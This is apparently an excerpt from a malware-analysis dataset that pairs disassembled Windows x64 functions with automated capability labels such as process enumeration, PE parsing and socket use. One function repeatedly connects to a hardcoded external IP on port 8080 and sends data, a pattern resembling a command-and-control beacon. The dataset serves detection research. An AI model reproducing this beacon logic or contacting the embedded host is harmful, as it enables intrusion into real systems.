joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1800023f0
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
mov eax, 4
imul rax, rax, 0
mov rcx, qword [rsp + 8]
mov rcx, qword [rcx]
mov edx, dword [rsp + 0x10]
mov dword [rax + rcx], edx
mov rax, qword [rsp + 8]
mov dword [rax + 8], 1
jmp 0x180002431
mov rax, qword [rsp + 8]
mov eax, dword [rax + 8]
inc eax
mov rcx, qword [rsp + 8]
mov dword [rcx + 8], eax
mov rax, qword [rsp + 8]
cmp dword [rax + 8], 0x270
jge 0x1800024c8
mov rax, qword [rsp + 8]
mov eax, dword [rax + 8]
dec eax
cdqe
mov rcx, qword [rsp + 8]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 8]
mov edx, dword [rdx + 8]
dec edx
movsxd rdx, edx
mov r8, qword [rsp + 8]
mov r8, qword [r8]
mov edx, dword [r8 + rdx*4]
shr edx, 0x1e
mov eax, dword [rcx + rax*4]
xor eax, edx
imul eax, eax, 0x6c078965
mov rcx, qword [rsp + 8]
add eax, dword [rcx + 8]
mov rcx, qword [rsp + 8]
movsxd rcx, dword [rcx + 8]
mov rdx, qword [rsp + 8]
mov rdx, qword [rdx]
mov dword [rdx + rcx*4], eax
mov rax, qword [rsp + 8]
movsxd rax, dword [rax + 8]
mov rcx, qword [rsp + 8]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 8]
movsxd rdx, dword [rdx + 8]
mov r8, qword [rsp + 8]
mov r8, qword [r8]
mov eax, dword [rcx + rax*4]
mov dword [r8 + rdx*4], eax
jmp 0x18000241f
mov rax, qword [rsp + 8]
mov ecx, dword [rsp + 0x10]
mov dword [rax + 0x1c], ecx
mov rax, qword [rsp + 8]
mov byte [rax + 0x20], 0
mov rax, qword [rsp + 8]
mov byte [rax + 0x21], 1
ret
Function at 0x1800048c0
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x3a0
mov rax, qword [0x180023010]
xor rax, rsp
mov qword [rsp + 0x390], rax
mov dword [rsp + 0x20], 0
mov r9, 0xffffffffffffffff
mov r8, qword [rsp + 0x3b0]
mov edx, 0x40
lea rcx, [rsp + 0x310]
call fcn.18000b068
lea rax, [rsp + 0x2a0]
mov rdi, rax
xor eax, eax
mov ecx, 0x68
rep stosb byte [rdi], al
lea rax, [rsp + 0x280]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
mov dword [rsp + 0x2a0], 0x68
lea rax, [rsp + 0x40]
mov rdi, rax
xor eax, eax
mov ecx, 0x238
rep stosb byte [rdi], al
mov dword [rsp + 0x40], 0x238
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0xffffffffffffffff
jne 0x18000497d
jmp 0x180004a1f
lea rdx, [rsp + 0x40]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
jne 0x18000499b
jmp 0x180004a1f
lea rdx, [rsp + 0x310]
lea rcx, [rsp + 0x6c]
call fcn.18000b318
test eax, eax
jne 0x180004a00
mov r8d, dword [rsp + 0x48]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
je 0x180004a00
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rsp + 0x3b8]
mov ecx, dword [rsp + 0x48]
mov dword [rax], ecx
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsp + 0x20], 1
jmp 0x180004a1f
lea rdx, [rsp + 0x40]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x18000499b
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x390]
xor rcx, rsp
call fcn.1800063b0
add rsp, 0x3a0
pop rdi
ret
Function at 0x180004d80
Capabilities:
Enumerate pe sections

Disassembly:
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0x38
mov dword [rsp + 8], 0
xor eax, eax
mov word [rsp], ax
xor eax, eax
mov word [rsp + 4], ax
mov qword [rsp + 0x10], 0
mov rax, qword [rsp + 0x48]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x48]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x18], rax
mov rax, qword [rsp + 0x18]
movzx eax, word [rax + 0x18]
cmp eax, 0x10b
jne 0x180004e06
mov rax, qword [rsp + 0x18]
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
movzx eax, word [rax + 0x14]
mov rcx, qword [rsp + 0x20]
lea rax, [rcx + rax + 0x18]
mov qword [rsp + 0x10], rax
mov rax, qword [rsp + 0x20]
movzx eax, word [rax + 6]
mov word [rsp + 4], ax
jmp 0x180004e52
mov rax, qword [rsp + 0x18]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
jne 0x180004e48
mov rax, qword [rsp + 0x18]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x14]
mov rcx, qword [rsp + 0x28]
lea rax, [rcx + rax + 0x18]
mov qword [rsp + 0x10], rax
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 6]
mov word [rsp + 4], ax
jmp 0x180004e52
jmp 0x180004f12
mov eax, 0x28
imul rax, rax, 0
mov rcx, qword [rsp + 0x10]
mov eax, dword [rcx + rax + 0x14]
cmp dword [rsp + 0x40], eax
jae 0x180004e7c
mov eax, dword [rsp + 0x40]
mov dword [rsp + 8], eax
jmp 0x180004f12
xor eax, eax
mov word [rsp], ax
jmp 0x180004e8f
movzx eax, word [rsp]
inc ax
mov word [rsp], ax
movzx eax, word [rsp]
movzx ecx, word [rsp + 4]
cmp eax, ecx
jge 0x180004f12
movzx eax, word [rsp]
imul rax, rax, 0x28
mov rcx, qword [rsp + 0x10]
mov eax, dword [rcx + rax + 0xc]
cmp dword [rsp + 0x40], eax
jb 0x180004f0d
movzx eax, word [rsp]
imul rax, rax, 0x28
movzx ecx, word [rsp]
imul rcx, rcx, 0x28
mov rdx, qword [rsp + 0x10]
mov eax, dword [rdx + rax + 0xc]
mov rdx, qword [rsp + 0x10]
add eax, dword [rdx + rcx + 0x10]
cmp dword [rsp + 0x40], eax
jae 0x180004f0d
movzx eax, word [rsp]
imul rax, rax, 0x28
mov rcx, qword [rsp + 0x10]
mov eax, dword [rcx + rax + 0xc]
mov ecx, dword [rsp + 0x40]
sub ecx, eax
mov eax, ecx
movzx ecx, word [rsp]
imul rcx, rcx, 0x28
mov rdx, qword [rsp + 0x10]
add eax, dword [rdx + rcx + 0x14]
mov dword [rsp + 8], eax
jmp 0x180004f12
jmp 0x180004e84
mov eax, dword [rsp + 8]
add rsp, 0x38
ret
Function at 0x180005a50
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x298
mov rax, qword [0x180023010]
xor rax, rsp
mov qword [rsp + 0x280], rax
mov byte [rsp + 0x20], 0
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0xffffffffffffffff
jne 0x180005a97
jmp 0x180005b69
mov dword [rsp + 0x40], 0x238
lea rdx, [rsp + 0x40]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
jne 0x180005ac8
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x180005b69
mov dword [rsp + 0x28], 0
mov eax, dword [rsp + 0x48]
mov dword [rsp + 0x24], eax
mov qword [rsp + 0x38], 0xffffffffffffffff
mov edx, dword [rsp + 0x24]
mov ecx, 8
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0xffffffffffffffff
jne 0x180005aff
jmp 0x180005b28
mov rdx, qword [rsp + 0x2a0]
lea rcx, [rsp + 0x6c]
call fcn.18000b318
test eax, eax
jne 0x180005b1d
mov eax, dword [rsp + 0x24]
mov dword [rsp + 0x28], eax
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rsp + 0x40]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x180005ad0
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [rsp + 0x28], 0
je 0x180005b58
mov dword [rsp + 0x2c], 1
jmp 0x180005b60
mov dword [rsp + 0x2c], 0
movzx eax, byte [rsp + 0x2c]
mov byte [rsp + 0x20], al
movzx eax, byte [rsp + 0x20]
mov rcx, qword [rsp + 0x280]
xor rcx, rsp
call fcn.1800063b0
add rsp, 0x298
ret
Function at 0x140002e60
Capabilities:
Send data
Send data on socket

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x60
mov rax, qword [0x140024008]
xor rax, rsp
mov qword [rsp + 0x50], rax
mov rbx, rcx
mov qword [rsp + 0x48], rcx
mov rdi, qword [0x140024a40]
mov rdx, rcx
lea rcx, [rsp + 0x28]
call fcn.140003dc0
mov r8, rdi
mov edx, dword [rbx + 0x10]
mov rcx, rax
call fcn.140002390
mov rdx, qword [0x140025fe8]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rdx + r8], 0
jne 0x140002eb1
xor r9d, r9d
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_send]
nop
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x140002efe
inc rdx
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x140002ef9
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140002f29
mov rcx, r8
call fcn.140005184
mov qword [rbx + 0x10], 0
mov qword [rbx + 0x18], recv
mov byte [rbx], 0
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.140004de0
mov rbx, qword [rsp + 0x78]
add rsp, 0x60
pop rdi
ret
call fcn.14000c10c
int3
Function at 0x1400030e0
Capabilities:
Connect socket
Initialize winsock library
Resolve dns

Disassembly:
push rbx
sub rsp, 0x50
mov rax, qword [0x140024008]
xor rax, rsp
mov qword [rsp + 0x40], rax
xor ebx, ebx
nop word [rax + rax]
mov ecx, 0x1e
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x202
lea rdx, [0x140025e50]
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov dword [0x140025e40], eax
test eax, eax
jne 0x140003100
lea r8d, [rax + 0xd]
mov qword [rsp + 0x20], rbx
lea rdx, str.194.61.120.50
mov qword [rsp + 0x30], rbx
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x38], socket
call fcn.140003ea0
cmp qword [rsp + 0x38], 0x10
lea rcx, [rsp + 0x20]
lea r9, [0x140025e48]
cmovae rcx, qword [rsp + 0x20]
lea r8, [0x140025ff0]
lea rdx, str.8080
call qword [sym.imp.WS2_32.dll_getaddrinfo]
mov dword [0x140025e40], eax
test eax, eax
je 0x140003190
call qword [sym.imp.WS2_32.dll_WSACleanup]
jmp 0x140003226
mov rax, qword [0x140025e48]
mov qword [0x140026020], rax
mov r8d, dword [rax + 0xc]
mov edx, dword [rax + 8]
mov ecx, dword [rax + 4]
call qword [sym.imp.WS2_32.dll_socket]
mov qword [0x140024a40], rax
cmp rax, 0xffffffffffffffff
jne 0x1400031c3
call qword [sym.imp.WS2_32.dll_WSACleanup]
jmp 0x140003226
mov rdx, qword [0x140026020]
mov rcx, rax
mov r8d, dword [rdx + 0x10]
mov rdx, qword [rdx + 0x20]
call qword [sym.imp.WS2_32.dll_connect]
mov dword [0x140025e40], eax
cmp eax, 0xffffffff
jne 0x1400031fe
mov rcx, qword [0x140024a40]
call qword [sym.imp.WS2_32.dll_closesocket]
mov qword [0x140024a40], 0xffffffffffffffff
mov rcx, qword [0x140025e48]
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
cmp qword [0x140024a40], 0xffffffffffffffff
jne 0x140003276
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, 0x1d4c0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rdx, qword [rsp + 0x38]
cmp rdx, 0x10
jb 0x14000325f
mov rcx, qword [rsp + 0x20]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000325a
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400032c2
call fcn.140005184
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x38], socket
mov byte [rsp + 0x20], bl
jmp 0x140003100
mov rdx, qword [rsp + 0x38]
cmp rdx, 0x10
jb 0x1400032af
mov rcx, qword [rsp + 0x20]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400032aa
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400032c2
call fcn.140005184
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.140004de0
add rsp, 0x50
pop rbx
ret
call fcn.14000c10c
int3
Function at 0x14000582c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140005876
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140005876
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140005876
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140005876
cmp dword [rcx + 0x84], 0xe
jbe 0x140005876
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140005878
xor al, al
add rsp, 0x28
ret

Function at 0x14000c734
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14000c524
Function at 0x14000f46c
Capabilities:
Read file on windows

Disassembly:
sub rsp, 0x28
mov rdx, rcx
test rcx, rcx
jne 0x14000f449
call fcn.14000b804
mov dword [rax], socket
call fcn.14000c0ec
or eax, 0xffffffff
jmp 0x14000f466
sub dword [rcx + 0x10], 1
jns 0x14000f458
add rsp, 0x28
jmp 0x140013c24
mov rax, qword [rcx]
movzx ecx, byte [rax]
inc rax
mov qword [rdx], rax
mov eax, ecx
add rsp, 0x28
ret
jmp 0x14000f428
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r14
sub rsp, 0x20
mov rsi, rcx
test rcx, rcx
jne 0x140013c56
call fcn.14000b804
mov dword [rax], socket
call fcn.14000c0ec
jmp 0x140013d75
mov eax, dword [rcx + 0x14]
shr eax, 0xd
test al, 1
je 0x140013d75
mov eax, dword [rcx + 0x14]
shr eax, 0xc
test al, 1
jne 0x140013d75
mov eax, dword [rcx + 0x14]
shr eax, 1
test al, 1
je 0x140013c85
lock or dword [rcx + 0x14], 0x10
jmp 0x140013d75
lock or dword [rcx + 0x14], 1
mov eax, dword [rcx + 0x14]
test eax, 0x4c0
jne 0x140013c99
call fcn.140016234
mov rdi, qword [rsi + 8]
mov rcx, rsi
mov ebx, dword [rsi + 0x20]
mov qword [rsi], rdi
call fcn.14000f26c
mov r8d, ebx
mov rdx, rdi
mov ecx, eax
call fcn.14001674c
mov dword [rsi + 0x10], eax
lea ecx, [rax + 1]
cmp ecx, 1
jbe 0x140013d63
mov eax, dword [rsi + 0x14]
or edi, 0xffffffff
test al, 6
jne 0x140013d2e
mov rcx, rsi
call fcn.14000f26c
cmp eax, edi
je 0x140013d19
mov rcx, rsi
call fcn.14000f26c
cmp eax, 0xfffffffe
je 0x140013d19
mov rcx, rsi
call fcn.14000f26c
movsxd rbx, eax
lea r14, [0x140025800]
mov rcx, rsi
sar rbx, 6
call fcn.14000f26c
and eax, 0x3f
lea rcx, [rax + rax*8]
mov rax, qword [r14 + rbx*8]
lea rdx, [rax + rcx*8]
jmp 0x140013d20
lea rdx, [0x140024060]
mov al, byte [rdx + 0x38]
and al, 0x82
cmp al, 0x82
jne 0x140013d2e
lock or dword [rsi + 0x14], 0x20
cmp dword [rsi + 0x20], 0x200
jne 0x140013d52
mov eax, dword [rsi + 0x14]
shr eax, 6
test al, 1
je 0x140013d52
mov eax, dword [rsi + 0x14]
shr eax, 8
test al, 1
jne 0x140013d52
mov dword [rsi + 0x20], 0x1000
mov rax, qword [rsi]
add dword [rsi + 0x10], edi
movzx edi, byte [rax]
inc rax
mov qword [rsi], rax
jmp 0x140013d78
neg eax
sbb eax, eax
and eax, 8
add eax, 8
lock or dword [rsi + 0x14], eax
and dword [rsi + 0x10], 0
or edi, 0xffffffff
mov rbx, qword [rsp + 0x30]
mov eax, edi
mov rdi, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop r14
ret
Function at 0x14001167c
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x1400116ac
xor eax, eax
jmp 0x14001176f
mov rbp, rbx
cmp word [rax], si
je 0x1400116d1
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x1400116b8
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x1400116b4
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.1400115cc
movsxd r14, eax
test eax, eax
jne 0x14001170f
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x1400116a5
mov rcx, r14
call fcn.14000fd5c
mov rdi, rax
test rax, rax
jne 0x140011728
xor ecx, ecx
call fcn.14000d984
jmp 0x140011704
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.1400115cc
test eax, eax
jne 0x140011759
mov rcx, rdi
call fcn.14000d984
jmp 0x140011763
xor ecx, ecx
call fcn.14000d984
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x140014c24
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.14000ded4
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x140014cae
cmp byte [rbp - 0x21], r15b
je 0x140014ca9
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x140014ce4
call fcn.140011dec
test eax, eax
jne 0x140014cd0
cmp byte [rbp - 0x21], r15b
je 0x140014cc8
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x140014ce4
cmp byte [rbp - 0x21], r15b
je 0x140014ce1
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.14000dd58
test eax, eax
jne 0x140014d84
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.14000ded4
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x140014d23
cmp byte [rbp - 0x21], r15b
je 0x140014d58
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x140014d58
call fcn.140011dec
test eax, eax
jne 0x140014d44
cmp byte [rbp - 0x21], r15b
je 0x140014d3d
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x140014d58
cmp byte [rbp - 0x21], r15b
je 0x140014d55
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.14000dd58
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x140014d84
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x140014d87
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x140014d95
mov rcx, rdi
call fcn.14000d984
cmp byte [rbp + 0x3f], r15b
je 0x140014da4
mov rcx, qword [rbp + 0x27]
call fcn.14000d984
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x1400162a0
Capabilities:
Read file on windows

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x30
movsxd rbp, ecx
mov r9, r8
mov rax, rbp
lea rcx, [0x140025800]
and eax, 0x3f
mov r10, rbp
sar r10, 6
xor edi, edi
mov rsi, rdx
mov r14, rbp
lea r8, [rax + rax*8]
mov rax, qword [rcx + r10*8]
mov ecx, 4
mov qword [rsp + 0x78], rcx
mov r11, qword [rax + r8*8 + 0x28]
lea r12d, [rcx + 6]
test r9, r9
je 0x1400162fe
cmp word [rdx], r12w
jne 0x1400162fe
or byte [rax + r8*8 + 0x38], cl
jmp 0x140016304
and byte [rax + r8*8 + 0x38], 0xfb
lea rdx, [rdx + r9*2]
mov rcx, rsi
mov rbx, rsi
cmp rsi, rdx
jae 0x14001645f
mov r9d, 0x1a
lea r13d, [r9 - 0xd]
movzx eax, word [rcx]
cmp ax, r9w
je 0x14001643a
lea r9, [rcx + 2]
cmp ax, r13w
je 0x14001633d
mov rcx, r9
jmp 0x140016360
cmp r9, rdx
jae 0x140016377
cmp word [r9], r12w
mov eax, 2
cmove rax, qword [rsp + 0x78]
add rcx, rax
mov eax, r12d
cmp word [r9], r12w
cmovne ax, r13w
mov word [rbx], ax
mov r9d, 0x1a
add rbx, 2
cmp rcx, rdx
jb 0x140016321
jmp 0x14001645f
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rdi
mov r8d, 2
lea rdx, [rsp + 0x70]
mov rcx, r11
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140016434
cmp dword [rsp + 0x80], edi
je 0x140016434
mov rdx, r14
lea r11, [0x140025800]
sar rdx, 6
and r14d, 0x3f
mov rax, qword [r11 + rdx*8]
lea r8, [r14 + r14*8]
test byte [rax + r8*8 + 0x38], 0x48
je 0x14001640d
movzx eax, word [rsp + 0x70]
cmp ax, r12w
jne 0x1400163e0
mov word [rbx], r12w
jmp 0x14001645b
mov word [rbx], r13w
mov word [rsp + 0x78], ax
mov rax, qword [r11 + rdx*8]
lea rcx, [rax + r8*8]
mov al, byte [rsp + rdi + 0x78]
mov byte [rcx + rdi + 0x3a], al
inc rdi
cmp rdi, 2
jl 0x1400163e9
mov rax, qword [r11 + rdx*8]
mov byte [rax + r8*8 + 0x3c], r12b
jmp 0x14001645b
cmp word [rsp + 0x70], r12w
jne 0x14001641a
cmp rbx, rsi
je 0x1400163da
mov rdx, 0xfffffffffffffffe
mov ecx, ebp
lea r8d, [rdx + 3]
call fcn.140016d78
cmp word [rsp + 0x70], r12w
je 0x14001645f
mov word [rbx], r13w
jmp 0x14001645b
lea r11, [0x140025800]
mov rcx, qword [r11 + r10*8]
mov al, byte [rcx + r8*8 + 0x38]
test al, 0x40
jne 0x140016457
or al, 2
mov byte [rcx + r8*8 + 0x38], al
jmp 0x14001645f
mov word [rbx], r9w
add rbx, 2
sub rbx, rsi
sar rbx, 1
lea eax, [rbx + rbx]
add rsp, 0x30
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x140012de0
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x40
mov qword [rsp + 0x30], 0
lea rcx, str..pipeDarkModeAnyAppPipe
mov dword [rsp + 0x28], 0
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 3
mov edx, 0xc0000000
mov byte [0x140070d3c], 1
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140012e4b
lea r9, [rsp + 0x50]
mov qword [rsp + 0x20], 0
mov r8d, 8
lea rdx, str.ExitNow
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [0x140070c70]
call fcn.140017560
call fcn.140017100
call fcn.1400040a0
mov rcx, rax
call fcn.140012eb0
mov rcx, qword [0x140070f68]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, qword [0x140070f68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [0x140070d50]
mov ecx, 2
call qword [sym.imp.SHELL32.dll_Shell_NotifyIconA]
xor ecx, ecx
call fcn.14002dde4
int3
Function at 0x140014120
Capabilities:
Hash data using fnv

Disassembly:
mov qword [rsp + 0x20], rbx
push rsi
sub rsp, 0x20
movabs rax, 0xfffffffffffffff
mov rsi, rcx
bsr rcx, rax
mov ebx, 1
mov eax, ebx
shl rax, cl
cmp rdx, rax
ja 0x1400142ff
lea rax, [rdx - 1]
mov qword [rsp + 0x38], rdi
mov rdi, qword [rsi + 8]
or rax, rbx
bsr rcx, rax
mov r8, rdi
mov qword [rsp + 0x40], r14
inc ecx
shl rbx, cl
lea rcx, [rsi + 0x18]
lea rdx, [rbx + rbx]
call fcn.140004110
mov rcx, qword [rsi + 8]
lea rax, [rbx - 1]
mov qword [rsi + 0x30], rax
mov qword [rsi + 0x38], rbx
mov rcx, qword [rcx]
cmp rcx, rdi
je 0x1400142c4
mov qword [rsp + 0x30], rbp
mov rax, rcx
movabs rbp, 0xcbf29ce484222325
movabs rbx, 0x100000001b3
nop dword [rax]
nop dword [rax + rax]
movzx edx, byte [rax + 0x11]
movzx r9d, byte [rax + 0x10]
mov r11, qword [rsi + 0x30]
xor r9, rbp
mov rcx, qword [rcx]
imul r9, rbx
xor r9, rdx
movzx edx, byte [rax + 0x12]
imul r9, rbx
xor r9, rdx
movzx edx, byte [rax + 0x13]
imul r9, rbx
xor r9, rdx
movzx edx, byte [rax + 0x14]
imul r9, rbx
xor r9, rdx
movzx edx, byte [rax + 0x15]
imul r9, rbx
xor r9, rdx
movzx edx, byte [rax + 0x16]
imul r9, rbx
xor r9, rdx
movzx edx, byte [rax + 0x17]
imul r9, rbx
xor r9, rdx
imul r9, rbx
and r11, r9
shl r11, 4
add r11, qword [rsi + 0x18]
mov r9, qword [r11]
cmp r9, rdi
jne 0x14001423c
mov qword [r11], rax
mov qword [r11 + 8], rax
jmp 0x1400142b3
mov rdx, qword [r11 + 8]
mov r8, qword [rax + 0x10]
cmp r8, qword [rdx + 0x10]
jne 0x140014279
mov r10, qword [rdx]
cmp r10, rax
je 0x140014273
mov r9, qword [rax + 8]
mov qword [r9], rcx
mov r8, qword [rcx + 8]
mov qword [r8], r10
mov rdx, qword [r10 + 8]
mov qword [rdx], rax
mov qword [r10 + 8], r8
mov qword [rcx + 8], r9
mov qword [rax + 8], rdx
mov qword [r11 + 8], rax
jmp 0x1400142b3
cmp r9, rdx
je 0x14001428f
nop
mov rdx, qword [rdx + 8]
cmp r8, qword [rdx + 0x10]
je 0x1400142d9
cmp r9, rdx
jne 0x140014280
mov r10, qword [rax + 8]
mov qword [r10], rcx
mov r9, qword [rcx + 8]
mov qword [r9], rdx
mov r8, qword [rdx + 8]
mov qword [r8], rax
mov qword [rdx + 8], r9
mov qword [rcx + 8], r10
mov qword [rax + 8], r8
mov qword [r11], rax
mov rax, rcx
cmp rcx, rdi
jne 0x1400141c0
mov rbp, qword [rsp + 0x30]
